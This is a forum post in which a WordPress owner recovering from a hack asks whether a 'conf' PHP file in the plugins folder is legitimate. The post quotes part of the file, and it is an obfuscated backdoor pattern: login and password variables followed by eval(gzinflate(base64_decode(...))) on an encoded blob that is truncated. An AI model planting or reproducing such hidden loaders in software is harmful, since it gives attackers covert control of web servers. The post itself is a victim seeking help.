conf PHP in PLugins folder – Is it normal?

Hi all!

My site was recently hacked due to an out of date version of wordpress. I isolated some yucky code in the footer- deleted all my files, and have switched hosts. I am working to re implement thematic using my wp-content folder, but I want to make sure that I get all the bugs out before doing so. Everything looks normal with the bad footer code removed, except the PHP file : “conf” in my Plugins folder.

Here’s a sample :”<?PHP
set_time_limit(0);
$login = “”;
$pass = “”;
$md5_pass = “”;
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u++SBvtw5KSMwtG4R2yctd0mBNrlB3QQo4aQKGRgRjTa0xYFw1vVM9ySOMd44sSrPeSG8JPyOyEpK+U0y8d4n2EzI9MDdnlMkLKQQ8ZIYPW3sF4lUFF9gO8AjT5ceta4HM7HkZi7S2yoAAPLD8D7Pn4kD6t1EIkHYORMtJBdqcseuvOO5HcoLJO4b5UENDkOEq25EeU3GFSPIGFBzJVwCzJ”

Is this normal, or is this bad/fake code also?

I’m very much NOT fluent in code, so any help would be greatly appreciated!
